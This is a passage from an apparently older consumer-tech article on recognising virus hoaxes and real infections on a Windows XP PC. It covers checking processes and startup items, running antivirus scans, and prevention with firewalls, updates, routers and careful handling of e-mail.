spam)--aren't going to announce their presence. Real viruses aren't like the ones in Hollywood movies that melt down whole networks in seconds and destroy alien spacecraft. They operate in the background, quietly altering data, stealing private operations, or using your PC for their own illegal ends. This makes them hard to spot if you're not well protected.
Is Your PC "Owned?"I should start by saying that not every system oddity is due to a virus, worm, or bot. Is your system slowing down? Is your hard drive filling up rapidly? Are programs crashing without warning? These symptoms are more likely caused by Windows, or badly written legitimate programs, rather than malware. After all, people who write malware want to hide their program's presence. People who write commercial software put icons all over your desktop. Who's going to work harder to go unnoticed? Other indicators that may, in fact, indicate that there's nothing that you need to worry about, include: * An automated e-mail telling you that you're sending out infected mail. E-mail viruses and worms typically come from faked addresses. * A frantic note from a friend saying they've been infected, and therefore so have you. This is likely a hoax. It's especially suspicious if the note tells you the virus can't be detected but you can get rid of it by deleting one simple file. Don't be fooled--and don't delete that file. I'm not saying that you should ignore such warnings. Copy the subject line or a snippet from the body of the e-mail and plug it into your favorite search engine to see if other people have received the same note. A security site may have already pegged it as a hoax.
Sniffing Out an Infection: There are signs that indicate that your PC is actually infected. A lot of network activity coming from your system (when you're not actually using Internet) can be a good indicator that something is amiss. A good software firewall, such as ZoneAlarm, will ask your permission before letting anything leave your PC, and will give you enough information to help you judge if the outgoing data is legitimate. By the way, the firewall that comes with Windows, even the improved version in XP Service Pack 2, lacks this capability. To put a network status light in your system tray, follow these steps: In Windows XP, choose Start, Control Panel, Network Connections, right-click the network connection you want to monitor, choose Properties, check "Show icon in notification area when connected," and click OK. If you're interested in being a PC detective, you can sniff around further for malware. By hitting Ctrl-Alt-Delete in Windows, you'll bring up the Task Manager, which will show you the various processes your system is running. Most, if not all, are legit, but if you see a file name that looks suspicious, type it into a search engine and find out what it is. Want another place to look? In Windows XP, click Start, Run, type "services.msc" in the box, and press Enter. You'll see detailed descriptions of the services Windows is running. Something look weird? Check with your search engine. Finally, you can do more detective work by selecting Start, Run, and typing "msconfig" in the box. With this tool you not only see the services running, but also the programs that your system is launching at startup. Again, check for anything weird. If any of these tools won't run--or if your security software won't run--that in itself is a good sign your computer is infected. Some viruses intentionally disable such programs as a way to protect themselves.
What to Do NextOnce you're fairly sure your system is infected, don't panic. There are steps you can take to assess the damage, depending on your current level of protection. * If you don't have any antivirus software on your system (shame on you), or if the software has stopped working, stay online and go for a free scan at one of several Web sites. There's McAfee FreeScan, Symantec Security Check, and Trend Micro's HouseCall. If one doesn't find anything, try two. In fact, running a free online virus scan is a good way to double-check the work of your own local antivirus program. When you're done,
buy or download a real antivirus program. * If you have antivirus software, but it isn't active, get offline, unplug wires-- whatever it takes to stop your computer from communicating via the Internet. Then, promptly perform a scan with the installed software. * If nothing seems to be working, do more research on the Web. There are several online virus libraries where you can find out about known viruses. These sites often provide instructions for removing viruses--if manual removal is possible--or a free removal tool if it isn't. Check out GriSOFT's Virus Encyclopedia, Eset's Virus Descriptions, McAffee's Virus Glossary, Symantec's Virus Encyclopedia, or Trend Micro's Virus Encyclopedia.
A Microgram of PreventionAssuming your system is now clean, you need to make sure it stays that way. Preventing a breach of your computer's security is far more effective than cleaning up the mess afterwards. Start with a good security program, such Trend Micro's PC-Cillin, which you can buy for $50. Don't want to shell out any money? You can cobble together security through free downloads, such as AVG Anti-Virus Free Edition, ZoneAlarm (a personal firewall), and Ad-Aware SE (an antispyware tool). Just make sure you keep all security software up to date. The bad guys constantly try out new ways to fool security programs. Any security tool without regular, easy (if not automatic) updates isn't worth your money or your time. Speaking of updating, the same goes for Windows. Use Windows Update (it's right there on your Start Menu) to make sure you're getting all of the high priority updates. If you run Windows XP, make sure to get the Service Pack 2 update. To find out if you already have it, right-click My Computer, and select Properties. Under the General tab, under System, it should say "Service Pack 2."
Here are a few more pointers for a virus-free life:* Be careful with e-mail. Set your e-mail software security settings to high. Don't open messages with generic-sounding subjects that don't apply specifically to you from people you don't know. Don't open an attachment unless you're expecting it. * If you have broadband Internet access, such as DSL or cable, get a router, even if you only have one PC. A router adds an extra layer of protection because your PC is not connecting directly with the Internet. * Check your Internet ports. These doorways between your computer and the Internet can be open, in which case your PC is very vulnerable; closed, but still somewhat vulnerable; or stealthed (or hidden), which is safest. Visit Gibson Research's Web site and run the free ShieldsUP test to see your ports' status. If some ports show up as closed--or worse yet, open--check your router's documentation to find out how to hide them.
